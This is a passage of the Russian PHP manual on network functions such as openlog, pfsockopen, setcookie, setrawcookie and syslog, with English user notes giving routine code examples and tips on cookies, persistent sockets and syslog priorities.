(PHP 4, PHP 5, PHP 7, PHP 8)

openlog — Открывает соединение к системному журналу

Описание

openlog(string $prefix, int $flags, int $facility): bool

Функция openlog() открывает соединение к системному журналу для программы.

Использование openlog() не является обязательным. Эта функция при необходимости будет вызвана функцией syslog() автоматически, при этом параметр prefix будет по умолчанию равен false.

Список параметров

prefix

Строка prefix добавляется к каждому сообщению.

flags

Аргумент flags используется для указания используемых опций журналирования при создании записи журнала.

Опции openlog()
Константа | Описание
LOG_CONS | если при отправке данных системному журналу происходит ошибка, перевести вывод непосредственно в системную консоль
LOG_NDELAY | открыть соединение с журналом без задержки
LOG_ODELAY | (по умолчанию) отложить открытие соединения до вывода первого сообщения в журнал
LOG_PERROR | выводить вместе со стандартной ошибкой сообщение журнала
LOG_PID | добавить PID к каждому сообщению
Можно использовать одну или сразу несколько опций. При использовании нескольких опций необходимо разделять их OR, к примеру, для открытия соединения без задержки, записи в консоль и включения PID в каждое из сообщений, необходима следующая комбинация опций: LOG_CONS | LOG_NDELAY | LOG_PID

facility

Параметр facility используется для определения типа программы, создавшей сообщение журнала. Это позволяет определить (в конфигурации syslog) как будут обработаны сообщения журнала, поступающие из разных объектов.

Типы программ openlog()
Константа | Описание
LOG_AUTH | сообщения по безопасности/авторизации (необходимо взамен использовать LOG_AUTHPRIV в системах, где эта константа предопределена)
LOG_AUTHPRIV | сообщения по безопасности/авторизации (частное)
LOG_CRON | планировщик задач (cron и at)
LOG_DAEMON | другие системные службы
LOG_KERN | сообщения ядра
LOG_LOCAL0 ... LOG_LOCAL7 | зарезервированы для локального использования, недоступны в Windows
LOG_LPR | подсистема печати LPR
LOG_MAIL | почтовая подсистема
LOG_NEWS | подсистема новостей USENET
LOG_SYSLOG | внутренние сообщения syslogd
LOG_USER | общие сообщения на уровне пользователя
LOG_UUCP | подсистема UUCP

Замечание:

LOG_USER - единственный верный тип журналирования в операционных системах Windows

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • syslog() - Генерирует сообщение для системного журнала
  • closelog() - Закрывает соединение с системным журналом

User Contributed Notes

sam dot wankaner at gmail dot com 20-Jan-2015 07:15
In second parameter int $option, PI means Process ID (PID).
That is the unique number given to that process. For eg [30326]
Nimja 30-Jul-2013 11:07
To those curious; switching between different facilities is NOT an issue. There is no apparent memory overhead (nor slowdown) by calling openlog multiple(12 * 10000) times.

Shown by this example:

<?php
$facilities = array(
    LOG_AUTH,
    LOG_AUTHPRIV,
    LOG_CRON,
    LOG_DAEMON,
    LOG_KERN,
    LOG_LOCAL0,
    LOG_LPR,
    LOG_MAIL,
    LOG_NEWS,
    LOG_SYSLOG,
    LOG_USER,
    LOG_UUCP,
);

for ($i = 0; $i < 10000; $i++) {
    foreach ($facilities as $facility) {
        openlog('test', LOG_PID, $facility);
        syslog(LOG_ERR, "This is a test: " . memory_get_usage(true));
    }
}
?>


Открывает постоянное соединение с интернет-сокетом или доменным сокетом Unix

  • « openlog
  • setcookie »
  • PHP Manual
  • Сетевые функции
  • Открывает постоянное соединение с интернет-сокетом или доменным сокетом Unix

pfsockopen

(PHP 4, PHP 5, PHP 7, PHP 8)

pfsockopen — Открывает постоянное соединение с интернет-сокетом или доменным сокетом Unix

Описание

pfsockopen(
string $hostname,
int $port = -1,
int &$error_code = null,
string &$error_message = null,
?float $timeout = null
): resource|false

Эта функция является полным аналогом функции fsockopen() с той лишь разницей, что соединение не закрывается после завершения работы скрипта. Это версия функции fsockopen() с возможностью постоянного подключения.

Список параметров

Для получения информации о параметре, смотрите документацию по fsockopen().

Возвращаемые значения

pfsockopen() возвращает файловый указатель, который можно использовать с функциями, работающие с файлами (такие как fgets(), fgetss(), fwrite(), fclose() и feof()) или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | timeout теперь допускает значение null.

Смотрите также

  • fsockopen() - Открывает соединение с интернет-сокетом или доменным сокетом Unix

User Contributed Notes

zuraw 06-Jun-2012 12:17
pfsockopen() works great on IIS/Windows7 installation, it keeps connection open which is good for performance. However, there is one caveat: when connection is broken because of physical net failure, pfsockopen() returns handle as if connection was working. Subsequent call to fwrite() returns false so you have information about error. The problem is that after physical net connection is restored the situation doesn't change: pfsockopen() still returns handle and fwrite() returns false. In other words, PHP sticks to old connection that is not working (if you use fsockopen() instead, it will connect properly). Situation goes back to normal after 30 minutes when PHP closes unused connection.
The solution to this problem is to call fclose() on socket handle when fwrite() returns false.
k dot andris at gmail dot com 11-Dec-2008 10:22
To see if it's really a new connection, or a reused one, you can use ftell() - and see if ther's been any traffic on the connection. If it's more than 0, then it's a reused connection.
ludvig dot ericson at gmail dot com 27-Jul-2007 07:38
Confusion arises as to when PHP starts a new connection using all the
"persistent" versions of any function, and this depends entirely on how you
run your PHP.

In real CGI mode, that is, one process per script, persistent functions do the
exact same as their "temporary" equivalents. If you have a threaded Apache
MPM, this persistence will open a connection per thread, but not immediately.
Think of it as a single PHP instance for each thread.

If you run prefork, the MPM that forks the Apache server into several
accept()ing subprocesses, you'll have one PHP instance per process.

This isn't always true as I might've missed some gotchas, but in general, do
know that a persistent can only try to be persistent.

As for grey at greywyvern dot moc: A cronjob would be a lot better suited
for this, and have it periodically update the index rather than request ~200
pages each time somebody searches, at least from what you describe it as.
bimal dot das at maxartists dot com 07-Jun-2006 11:22
Here is how to POST a form action to a SSL server's cgi and retrieve output with pfsockopen

<?php

$host = gethostbyaddr($_SERVER['REMOTE_ADDR']);

# working vars
$host = 'www.example.com';
$service_uri = '/cgi-bin/processACT';
$vars ='code=22&act=TEST';

# compose HTTP request header
$header = "Host: $host\r\n";
$header .= "User-Agent: PHP Script\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: ".strlen($vars)."\r\n";
$header .= "Connection: close\r\n\r\n";

$fp = pfsockopen("ssl://".$host, 443, $errno, $errstr);
if (!$fp) {
   echo "$errstr ($errno)<br/>\n";
   echo $fp;
} else {
    fputs($fp, "POST $service_uri  HTTP/1.1\r\n");
    fputs($fp, $header.$vars);
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}

?>
pulstar at ig dot com dot br 23-Sep-2003 04:15
Persistent connections either in socket or databases should be used only in servers where the limits are well defined. For example, the number of allowed connections in a database must be greater than the number of Apache's processes, or the connections will be refused by the database (this will surely occur if you use persistent connections). The same may occur with socket connections. This is up to the service configuration. In my opinion, persistent connections are useful only if you have total control over the one or more servers involved, like on a heavy loaded dedicated server for example, where the little gain in performance worth the use of such connections. Never use them in a shared server.
php dot net at domainofdarkness dot com 29-Jan-2001 03:26
OK, WRT to the p* functions opening a new connection when one already exists. It is my understanting that (under Apache anyways) this is on a per-process basis. If you do a 'ps auxw|grep httpd' on your server you will see more than one process. What p* does is make a p-connection on one of those processes only, the one that actually handles your request. Chances are that when you hit the page again it will be answered by a different process. I'm guessing if you keep hitting reload you'll get around to the original process again and there will be no error message or second connection open. Anyhow, this is true of all p* functions; they open not one connection per server, but one connection per server _process_.


Отправляет cookie

  • « pfsockopen
  • setrawcookie »
  • PHP Manual
  • Сетевые функции
  • Отправляет cookie

setcookie

(PHP 4, PHP 5, PHP 7, PHP 8)

setcookie — Отправляет cookie

Описание

setcookie(
string $name,
string $value = "",
int $expires_or_options = 0,
string $path = "",
string $domain = "",
bool $secure = false,
bool $httponly = false
): bool

Альтернативная сигнатура доступна с PHP 7.3.0 (именованные параметры не поддерживаются):

setcookie(string $name, string $value = "", array $options = []): bool

setcookie() задаёт cookie, которое будет передано клиенту вместе с другими HTTP-заголовками. Как и любой другой заголовок, cookie должны передаваться до того как будут выведены какие-либо другие данные скрипта (это ограничение протокола). Это значит, что в скрипте вызовы этой функции должны располагаться до остального вывода, включая вывод тегов <html> и <head>, а также пустые строки и пробельные символы.

После передачи клиенту cookie станут доступны через массив $_COOKIE при следующей загрузке страницы. Значения cookie также есть в $_REQUEST.

Список параметров

» RFC 6265 даёт конкретные указания, как нужно интерпретировать каждый из параметров setcookie().

name

Название cookie.

value

Значение cookie. Это значение будет сохранено на клиентском компьютере; не записывайте в cookie секретные данные. Значение, присвоенное cookie c именем name, допустим, 'cookiename', будет доступно через $_COOKIE['cookiename'].

expires_or_options

Время, когда срок действия cookie истекает. Это метка времени Unix, то есть количество секунд с начала эпохи. Один из способов установить значение - добавить количество секунд до истечения срока действия cookie к результату вызова функции time(). Например, time()+60*60*24*30 установит, что срок действия cookie истекает через 30 дней. Другой вариант - использовать функцию mktime(). Если задать 0 или пропустить аргумент, срок действия cookie истечёт с окончанием сессии (при закрытии браузера).

Замечание:

Можно заметить, что expires_or_options принимает в качестве значения метку времени Unix, а хранит его в формате Wdy, DD-Mon-YYYY HH:MM:SS GMT. PHP делает это преобразование автоматически.

path

Путь к директории на сервере, из которой будут доступны cookie. Если задать '/', cookie будут доступны во всем домене domain. Если задать '/foo/', cookie будут доступны только из директории /foo/ и всех её поддиректорий (например, /foo/bar/) домена domain. По умолчанию значением является текущая директория, в которой cookie устанавливается.

domain

(Под)домен, которому доступны cookie. Задание поддомена (например, 'www.example.com') сделает cookie доступными в нем и во всех его поддоменах (например, w2.www.example.com). Для того, чтобы сделать cookie доступными для всего домена (включая поддомены), нужно просто указать имя домена (то есть 'example.com').

Старые браузеры, следующие устаревшему документу » RFC 2109, могут требовать . перед доменом, чтобы включались все поддомены.

secure

Указывает на то, что значение cookie должно передаваться от клиента по защищённому соединению HTTPS. Если задано true, cookie от клиента будет передано на сервер, только если установлено защищённое соединение. При передаче cookie от сервера клиенту программист веб-сервера должен следить за тем, чтобы cookie этого типа передавались по защищённому каналу (стоит обратить внимание на $_SERVER["HTTPS"]).

httponly

Если задано true, cookie будут доступны только через HTTP-протокол. То есть cookie в этом случае не будут доступны скриптовым языкам, вроде JavaScript. Эта возможность была предложена в качестве меры, эффективно снижающей количество краж личных данных посредством XSS-атак (несмотря на то, что поддерживается не всеми браузерами). Стоит однако отметить, что вокруг этой возможности часто возникают споры о её эффективности и целесообразности. Может принимать значения true или false.

options

Ассоциативный массив (array), который может иметь любой из ключей: expires, path, domain, secure, httponly и samesite. При наличии любого другого ключа возникнет ошибка уровня E_WARNING. Значения имеют тот же смысл, как описано в параметрах с соответствующим именем. Значение элемента samesite должно быть либо None, либо Lax, либо Strict. Если какая-либо из допустимых опций не указана, её значения по умолчанию совпадают с значениями по умолчанию для явных параметров. Если элемент samesite не указан, cookie-атрибут SameSite не установлен.

Возвращаемые значения

Если перед вызовом функции клиенту уже передавался какой-либо вывод (теги, пустые строки, пробелы, текст и т.п.), setcookie() потерпит неудачу и вернёт false. Если setcookie() успешно отработает, то вернёт true. Это, однако, не означает, что клиентское приложение (браузер) правильно приняло и обработало cookie.

Список изменений

Версия | Описание
8.2.0 | Формат даты отправляемых файлов cookie теперь 'D, d M Y H:i:s \G\M\T'; ранее он был 'D, d-M-Y H:i:s T'.
7.3.0 | Добавлена альтернативная подпись, поддерживающая массив опций options. Эта подпись поддерживает также настройку cookie-атрибута SameSite.

Примеры

Ниже представлено несколько примеров, как отправлять cookie:

Пример #1 Пример использования setcookie()

<?php
$value = 'что-то откуда-то';

setcookie("TestCookie", $value);
setcookie("TestCookie", $value, time()+3600); /* срок действия 1 час */
setcookie("TestCookie", $value, time()+3600, "/~rasmus/", "example.com", 1);
?>

Стоит отметить, что значение cookie перед отправкой клиенту подвергается URL-кодированию. При обратном получении значение cookie декодируется и помещается в переменную, с тем же именем, что и имя cookie. Если вы не хотите, чтобы значения кодировались, используйте функцию setrawcookie(). Посмотреть содержимое наших тестовых cookie можно, запустив один из следующих примеров:

<?php
// Вывести одно конкретное значение cookie
echo $_COOKIE["TestCookie"];

// В целях тестирования и отладки может пригодиться вывод всех cookie
print_r($_COOKIE);
?>

Пример #2 Пример удаления cookie посредством setcookie()

Чтобы удалить cookie достаточно в качестве срока действия указать какое-либо время в прошлом. Это запустит механизм браузера, удаляющий истёкшие cookie. В примерах ниже показано, как удалить cookie, заданные в предыдущих примерах:

<?php
// установка даты истечения срока действия на час назад
setcookie("TestCookie", "", time() - 3600);
setcookie("TestCookie", "", time() - 3600, "/~rasmus/", "example.com", 1);
?>

Пример #3 setcookie() и массивы

Имеется возможность помещать в cookie массивы. Для этого каждому cookie нужно дать имя в соответствии с правилами именования массивов. Такая возможность позволяет поместить столько значений, сколько имеется элементов в массиве. При обратном получении все эти значения будут помещены в массив с именем этого cookie:

<?php
// отправка cookie
setcookie("cookie[three]", "cookiethree");
setcookie("cookie[two]", "cookietwo");
setcookie("cookie[one]", "cookieone");

// после перезагрузки страницы, выведем cookie
if (isset($_COOKIE['cookie'])) {
foreach ($_COOKIE['cookie'] as $name => $value) {
$name = htmlspecialchars($name);
$value = htmlspecialchars($value);
echo "$name : $value <br />\n";
}
}
?>

Результат выполнения данного примера:

three : cookiethree
two : cookietwo
one : cookieone

Замечание: Использование разделительных символов, таких как [ и ] как часть имени файла cookie, не соответствует RFC 6265, раздел 4, но предполагается, что оно поддерживается пользовательскими агентами в соответствии с RFC 6265, раздел 5.

Примечания

Замечание:

Чтобы иметь возможность отправлять вывод скрипта до вызова этой функции, можно воспользоваться буферизацией. В этом случае весь вывод скрипта помещается в буфер на сервере и остаётся там, пока вы явно не отправите его браузеру. Управление буферизацией осуществляется функциями ob_start() и ob_end_flush() в скрипте, либо можно задать директиву output_buffering в файле php.ini или конфигурационных файлах сервера.

Общие замечания:

  • Cookie станут видимыми только после перезагрузки страницы, для которой они должны быть видны. Для проверки, правильно ли cookie установились, проверьте их при следующей загрузке страницы до истечения срока их действия. Срок действия cookie задаётся в параметре expires_or_options. Удобно проверять существование cookie простым вызовом print_r($_COOKIE);.
  • При удалении cookie должны быть заданы те же параметры, что и при установке. Если в качестве значения задать пустую строку, а остальные параметры задать соответственно предыдущему вызову, установившему cookie, тогда cookie c заданным именем будет удалено с клиентской машины. Внутренне это выглядит так: cookie присваивается значение 'deleted', а срок действия переносится на год в прошлое.
  • Так как установка значения false приведёт к удалению cookie, не следует задавать cookie значения булевого типа. Вместо этого можно использовать 0 для false и 1 для true.
  • Cookie можно именовать, как массивы, и они будут доступны в PHP-скрипте, как массивы, но на пользовательской машине они будут храниться в виде отдельных записей. Для задания cookie c множеством имён и значений желательно использовать функцию explode(). Не рекомендуется для этих целей использовать функцию serialize(), так как это негативно сказывается на безопасности скрипта.

При многократных вызовах setcookie() функции выполняются в том порядке, в котором вызывались.

Смотрите также

  • header() - Отправка HTTP-заголовка
  • setrawcookie() - Отправляет cookie без URL-кодирования значения
  • раздел cookies
  • » RFC 6265
  • » RFC 2109

User Contributed Notes

Anonymous 04-Aug-2020 04:24
Just an example to clarify the use of the array options, especially since Mozilla is going to deprecate / penalise the use of SameSite = none,  which is used by default if not using array options.

<?php
$arr_cookie_options = array (
                'expires' => time() + 60*60*24*30,
                'path' => '/',
                'domain' => '.example.com', // leading dot for compatibility or use subdomain
                'secure' => true,     // or false
                'httponly' => true,    // or false
                'samesite' => 'None' // None || Lax  || Strict
                );
setcookie('TestCookie', 'The Cookie Value', $arr_cookie_options);
?>
synnus at gmail dot com 03-Aug-2020 10:04
The " PHPSESSID " cookie will soon be rejected because its " sameSite " attribute is set to " none " or an invalid value, and without " secure " attribute. To learn more about the "sameSite" attribute, visit https://developer.mozilla.org/docs/Web/HTTP/Headers/Set-Cookie/SameSite.

<?php
 ini_set("session.cookie_secure", 1);
 session_start();

my PHP code ....

?>
nacho at casinelli dot com 12-Mar-2017 11:33
It's worth a mention: you should avoid dots on cookie names.

<?php
// this will actually set 'ace_fontSize' name:
setcookie( 'ace.fontSize', 18 );
?>
ellert at vankoperen dot nl 10-Jul-2014 10:58
Caveat: if you use URL RewriteRules to get stuff like this: domain.com/bla/stuf/etc into parameters, you might run into a hickup when setting cookies.
At least in my setup a change in one of the parameters resulted in the cookie not being 'there' anymore.
The fix is simple: specify the domain. '/' will usualy do fine.
walterquez 28-Sep-2012 04:43
Instead of this:
<?php setcookie( "TestCookie", $value, time()+(60*60*24*30) ); ?>

You can this:
<?php setcookie( "TestCookie", $value, strtotime( '+30 days' ) ); ?>
Bachsau 26-Jun-2012 01:49
Want to remove a cookie?

Many people do it the complicated way:
setcookie('name', 'content', time()-3600);

But why do you make it so complicated and risk it not working, when the client's time is wrong? Why fiddle around with time();

Here's the easiest way to unset a cookie:
setcookie('name', 'content', 1);

Thats it.
Anonymous 10-Sep-2010 03:20
A period in a cookie name (like user.name) seems to show up in the $_COOKIE array as an underscore (so user_name). This means that for example $_COOKIE["user_name"] must be used to read a cookie that has been set with setcookie("user.name" ...), which is already rather confusing.

Furthermore the variable $_COOKIE["user_name"] will retain the value set by setcookie("user.name" ...) and no amount of calling setcookie("user_name" ...) will alter this value. This is rather trivially fixed by clearing the "user.name" cookie, but it can take a while to realize this since there's only "user_name" in $_COOKIE.

Hope this saves someone some time.
laffen 27-May-2009 01:49
Note that the $_COOKIE variable not will hold multiple cookies with the same name. It is legitimate to set two cookies with the same name to the same host where the sub domain is different.
<?php
setcookie("testcookie", "value1hostonly", time(), "/", ".example.com", 0, true);
setcookie("testcookie", "value2subdom", time(), "/", "subdom.example.com", 0, true);
?>
The next request from the browser will have both cookies in the $_SERVER['HTTP_COOKIE'] variable, but only one of them will be found in the $_COOKIE variable. Requests to subdom.example.com will have both cookies, while browser request to example.com or www.example.com only sends the cookie with the "value1hostonly" value.

<?php
$kaker = explode(";", $_SERVER['HTTP_COOKIE']);
foreach($kaker as $val){
    $k = explode("=", $val);
    echo trim($k[0]) . " => " . $k[1];
}

// output
testcookie => value1hostonly
testcookie => value2subdom

?>
gabe at fijiwebdesign dot com 25-Feb-2007 07:25
If you want to delete all cookies on your domain, you may want to use the value of:

<?php $_SERVER['HTTP_COOKIE'] ?>

rather than:

<?php $_COOKIE ?>

to dertermine the cookie names.
If cookie names are in Array notation, eg: user[username]
Then PHP will automatically create a corresponding array in $_COOKIE. Instead use $_SERVER['HTTP_COOKIE'] as it mirrors the actual HTTP Request header.

<?php

// unset cookies
if (isset($_SERVER['HTTP_COOKIE'])) {
    $cookies = explode(';', $_SERVER['HTTP_COOKIE']);
    foreach($cookies as $cookie) {
        $parts = explode('=', $cookie);
        $name = trim($parts[0]);
        setcookie($name, '', time()-1000);
        setcookie($name, '', time()-1000, '/');
    }
}

?>
08-Feb-2007 05:13
something that wasn't made clear to me here and totally confused me for a while was that domain names must contain at least two dots (.), hence 'localhost' is invalid and the browser will refuse to set the cookie! instead for localhost you should use false.

to make your code work on both localhost and a proper domain, you can do this:

<?php

$domain = ($_SERVER['HTTP_HOST'] != 'localhost') ? $_SERVER['HTTP_HOST'] : false;
setcookie('cookiename', 'data', time()+60*60*24*365, '/', $domain, false);

?>
paul nospam AT nospam sitepoint dot com 06-Dec-2006 08:59
Note when setting "array cookies" that a separate cookie is set for each element of the array.

On high traffic sites, this can substantially increase the size of subsequent HTTP requests from clients (including requests for static content on the same domain).

More importantly though, the cookie specification says that browsers need only accept 20 cookies per domain.  This limit is increased to 50 by Firefox, and to 30 by Opera, but IE6 and IE7 enforce the limit of 20 cookie per domain.  Any cookies beyond this limit will either knock out an older cookie or be ignored/rejected by the browser.
hansel at gretel dot com 06-Nov-2006 08:12
The following code snippet combines abdullah's and Charles Martin's examples into a powerful combination function (and fixes at least one bug in the process):

<?php
  function set_cookie_fix_domain($Name, $Value = '', $Expires = 0, $Path = '', $Domain = '', $Secure = false, $HTTPOnly = false)
  {
    if (!empty($Domain))
    {
      // Fix the domain to accept domains with and without 'www.'.
      if (strtolower(substr($Domain, 0, 4)) == 'www.')  $Domain = substr($Domain, 4);
      $Domain = '.' . $Domain;

      // Remove port information.
      $Port = strpos($Domain, ':');
      if ($Port !== false)  $Domain = substr($Domain, 0, $Port);
    }

    header('Set-Cookie: ' . rawurlencode($Name) . '=' . rawurlencode($Value)
                          . (empty($Expires) ? '' : '; expires=' . gmdate('D, d-M-Y H:i:s', $Expires) . ' GMT')
                          . (empty($Path) ? '' : '; path=' . $Path)
                          . (empty($Domain) ? '' : '; domain=' . $Domain)
                          . (!$Secure ? '' : '; secure')
                          . (!$HTTPOnly ? '' : '; HttpOnly'), false);
  }
?>

Basically, if the domain parameter is supplied, it is converted to support a broader range of domains.  This behavior may or may not be desireable (e.g. could be a security problem depending on the server) but it makes cookie handling oh-so-much-nicer (IMO).


Отправляет cookie без URL-кодирования значения

  • « setcookie
  • socket_get_status »
  • PHP Manual
  • Сетевые функции
  • Отправляет cookie без URL-кодирования значения

setrawcookie

(PHP 5, PHP 7, PHP 8)

setrawcookie — Отправляет cookie без URL-кодирования значения

Описание

setrawcookie(
string $name,
string $value = ?,
int $expires_or_options = 0,
string $path = ?,
string $domain = ?,
bool $secure = false,
bool $httponly = false
): bool

Альтернативная сигнатура доступна с PHP 7.3.0 (именованные параметры не поддерживаются):

setrawcookie(string $name, string $value = ?, array $options = []): bool

Функция setrawcookie() является полным аналогом функции setcookie(), за исключением того, что значение cookie не будет автоматически закодировано при отправке браузеру.

Список параметров

Для получения информации по параметру, смотрите документацию по функции setcookie().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.3.0 | Добавлена альтернативная подпись, поддерживающая массив опций options. Эта подпись поддерживает также настройку cookie-атрибута SameSite.

Смотрите также

  • setcookie() - Отправляет cookie

User Contributed Notes

sageptr at gmail dot com 16-Jul-2012 04:10
If you want to pass something and unserialize later, you should somehow sign value to ensure evil user don't modify it.
For example, calculate hash sha1($value.$securekey) and place it to different cookie. If cookie value mismatch hash - simple discard both.
This technique you can use in any case if you want to protect cookie from modification, but it can't protect from deletion or from setting to other valid cookie (old or stolen from other user).
kexianbin at diyism dot com 28-Dec-2011 07:35
my php cookie value encode function:

<?php
function encode_cookie_value($value)
         {return strtr($value,
                       array_combine(str_split($tmp=",; \t\r\n\013\014"),
                                     array_map('rawurlencode', str_split($tmp))
                                    )
                      );
         }
setrawcookie('kk', encode_cookie_value('jk=jk?jk-/":jk;jk jk,jk'));
?>
Sebastian 29-Jun-2011 04:59
You really shouldn't use (un)serialize with cookies. An evil user could inject ANY code in your script.
lgb 01-Oct-2009 01:53
After having several problems with this cookie thing, I'm using base64_encode on the data I put into a cookie, so I can avoid problems, I had before. I tried to set up cookie with data created by serialize() from a PHP array, but it did not work to be able to get it back, after I modified it to use value of base64_encode(serialize(...)) to set up the cookie, and unserialize(base64_decode(..)) to get back the value, everything started to work.
subs at voracity dot org 12-Dec-2006 05:31
setrawcookie() isn't entirely 'raw'. It will check the value for invalid characters, and then disallow the cookie if there are any. These are the invalid characters to keep in mind: ',;<space>\t\r\n\013\014'.

Note that comma, space and tab are three of the invalid characters. IE, Firefox and Opera work fine with these characters, and PHP reads cookies containing them fine as well. However, if you want to use these characters in cookies that you set from php, you need to use header().
Brian 10-Mar-2006 11:56
Firefox is following the real spec and does not decode '+' to space...in fact it further encodes them to '%2B' to store the cookie.  If you read a cookie using javascript and unescape it, all your spaces will be turned to '+'.
To fix this problem, use setrawcookie and rawurlencode:

<?php
setrawcookie('cookie_name', rawurlencode($value), time()+60*60*24*365);
?>

The only change is that spaces will be encoded to '%20' instead of '+' and will now decode properly.


Псевдоним stream_get_meta_data

  • « setrawcookie
  • socket_set_blocking »
  • PHP Manual
  • Сетевые функции
  • Псевдоним stream_get_meta_data

socket_get_status

(PHP 4, PHP 5, PHP 7, PHP 8)

socket_get_status — Псевдоним stream_get_meta_data()

Описание

Функция является псевдонимом: stream_get_meta_data().

User Contributed Notes

gtk at linux dot online dot no 20-Feb-2002 11:48
Note that if you set the socket non-blocking via socket_set_blocking() you cannot check if the socket has timed out with this function.

Example:

$status = socket_get_status($fp);

if ($status['timed_out']) {
    echo "socket timed out\n";
}

The above condition will never be true even if the socket has timed out.

I'm not sure if this behaviour is just not documented or a bug. Anyways I'm posting it here because it took some time to figure out.
corruptNOSPAMPLEASE at mod dot net 24-Jan-2002 05:51
This function worked for me under 4.0.4pl1

bytes_left function will tell you how many bytes are left in the buffer of socket $fp. It assumes you didn't make $fp global

function bytes_left($fp) {

  $status = socket_get_status ($fp);
  $bytes = $status["unread_bytes"];
  return $bytes;
}
rawb at rawb dot org 11-Dec-2000 03:30
sockets created using socket(), which are mostly used for listening for connections, are not friendly to this function, you will not get your expected results (if you get any results at all)


Псевдоним stream_set_blocking

  • « socket_get_status
  • socket_set_timeout »
  • PHP Manual
  • Сетевые функции
  • Псевдоним stream_set_blocking

socket_set_blocking

(PHP 4, PHP 5, PHP 7, PHP 8)

socket_set_blocking — Псевдоним stream_set_blocking()

Описание

Функция является псевдонимом: stream_set_blocking().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним stream_set_timeout

  • « socket_set_blocking
  • syslog »
  • PHP Manual
  • Сетевые функции
  • Псевдоним stream_set_timeout

socket_set_timeout

(PHP 4, PHP 5, PHP 7, PHP 8)

socket_set_timeout — Псевдоним stream_set_timeout()

Описание

Функция является псевдонимом: stream_set_timeout().

User Contributed Notes

There are no user contributed notes for this page.


Генерирует сообщение для системного журнала

  • « socket_set_timeout
  • RRD »
  • PHP Manual
  • Сетевые функции
  • Генерирует сообщение для системного журнала

syslog

(PHP 4, PHP 5, PHP 7, PHP 8)

syslog — Генерирует сообщение для системного журнала

Описание

syslog(int $priority, string $message): true

Функция syslog() генерирует сообщение, которое направляется в системный журнал.

По поводу информации по установке пользовательского обработчика сообщений журнала смотрите Unix руководство в части syslog.conf (5). Дополнительную информацию по функционалу syslog можно получить с помощью man для syslog (3) на Unix-машинах.

Список параметров

priority

Параметр priority - это комбинация типа и уровня. Возможными значениями являются:

Приоритеты syslog() (по убыванию)
Константа | Описание
LOG_EMERG | система непригодна
LOG_ALERT | необходимы незамедлительные меры
LOG_CRIT | критические условия
LOG_ERR | условия ошибки
LOG_WARNING | условия предупреждения
LOG_NOTICE | нормальные, но значительное условие
LOG_INFO | информационное сообщение
LOG_DEBUG | сообщение отладки

message

Отсылаемое сообщение.

Возвращаемые значения

Функция всегда возвращает true.

Примеры

Пример #1 Пример использования syslog()

<?php
// открыть syslog, включить в сообщение ID процесса, также отправить
// сообщение, и использовать определённый пользователем
// механизм журналирования
openlog("myScriptLog", LOG_PID | LOG_PERROR, LOG_LOCAL0);

// некий код

if (authorized_client()) {
// что-нибудь сделать
} else {
// неавторизованный клиент!
// отправить сообщение журнала о попытке
$access = date("Y/m/d H:i:s");
syslog(LOG_WARNING, "Неавторизованный клиент: $access {$_SERVER['REMOTE_ADDR']} ({$_SERVER['HTTP_USER_AGENT']})");
}

closelog();
?>

Примечания

В Windows служба syslog эмулируется, используя журнал событий (Event Log).

Замечание:

Использование значений с LOG_LOCAL0 по LOG_LOCAL7 для параметра facility в функции openlog() недоступно в Windows.

Смотрите также

  • openlog() - Открывает соединение к системному журналу
  • closelog() - Закрывает соединение с системным журналом
  • syslog.filter Настройка INI (начиная с PHP 7.3)

User Contributed Notes

Anonymous 01-Dec-2021 08:35
There's no point to manually timestamp the message (as shown in docs' example) as all sane logging systems timestamp all entries by themselves.
OWM 02-Jul-2020 04:45
Syslog autodetects newline control characters and therefore splits the message by multiple lines. To prevent this behavior in PHP 7.3+ you can use undocumented (at this moment) ini setting:

<?php

ini_set('syslog.filter', 'raw');

# more info here: https://bugs.php.net/bug.php?id=77913
rgagnon24 at gmail dot com 09-Feb-2019 04:39
This one had me going for a while when using LOG_ constants in another object, when developing on Windows, but deploying on Linux.

Windows evaluates some of the LOG_ constants to the same value, while LINUX does not.

The 8 constants and their differences on the platforms to be aware of:

Linux has these values as:
========================
LOG_EMERG = 0
LOG_ALERT = 1
LOG_CRIT = 2
LOG_ERR = 3
LOG_WARNING = 4
LOG_NOTICE = 5
LOG_INFO = 6
LOG_DEBUG = 7

While on Windows, you have:
==========================
LOG_EMERG = 1
LOG_ALERT = 1
LOG_CRIT = 1
LOG_ERR = 4
LOG_WARNING = 5
LOG_NOTICE = 6
LOG_INFO = 6
LOG_DEBUG = 6

So if you're setting LOG_WARNING in your code, Linux will use 4 as the priority while Windows will use 5.

This is not a bug in PHP on either platform, but a difference in the system header files that PHP compiles with.  Not really anything you can do, but be aware if you're wondering why your messages log at different priorities depending on the platform, this could be why.
stevekamerman at gmail dot com 24-Oct-2018 06:43
This function sends messages in BSD Syslog RFC 3164 format (https://tools.ietf.org/html/rfc3164).

To see the raw messages being sent by PHP to the logging socket, first stop your syslog/rsylsog/ng-syslog service, then listen to the logging socket with the netcat-openbsd package:

nc -U -l /dev/log

Now, log something from PHP:

<?php
syslog(LOG_LOCAL1|LOG_INFO, "Test from PHP");
?>

You will see the rfc3164 output from netcat:

<142>Oct 24 14:32:51 php: Test from PHP
antoine dot leverve dot EXT at zodiacaerospace dot com 21-Dec-2015 11:48
The documentation is incorrect when it says "Priorities (in descending order)", as the table that follows is actually in **ascending** order.

For example my output says:
LOG_ERR : 4
LOG_WARNING : 5
LOG_DEBUG : 6

An important difference, that caused me some pain!
huangyg11 at gmail dot com 11-May-2015 04:34
For those who want to simultaneously write to multiple syslog facilities :

syslog(LOG_INFO|LOG_LOCAL0, "message for local0");
syslog(LOG_INFO|LOG_LOCAL1, "message for local1");
Antonio Lobato 11-May-2010 01:57
A word of warning; if you use openlog() to ready syslog() and your Apache threads accept multiple requests, you *must* call closelog() if Apache's error log is configured to write to syslog.  Failure to do so will cause Apache's error log to write to whatever facility/ident was used in openlog.

Example, in httpd.conf you have:

ErrorLog syslog:local7

and in php you do:

<?php
openlog("myprogram", 0, LOG_LOCAL0);
syslog("My syslog message");
?>

From here on out, this Apache thread will write ErrorLog to local0 and under the process name "myprogram" and not httpd!  Calling closelog() will fix this.
james dot ellis at gmail dot com 02-Dec-2007 08:26
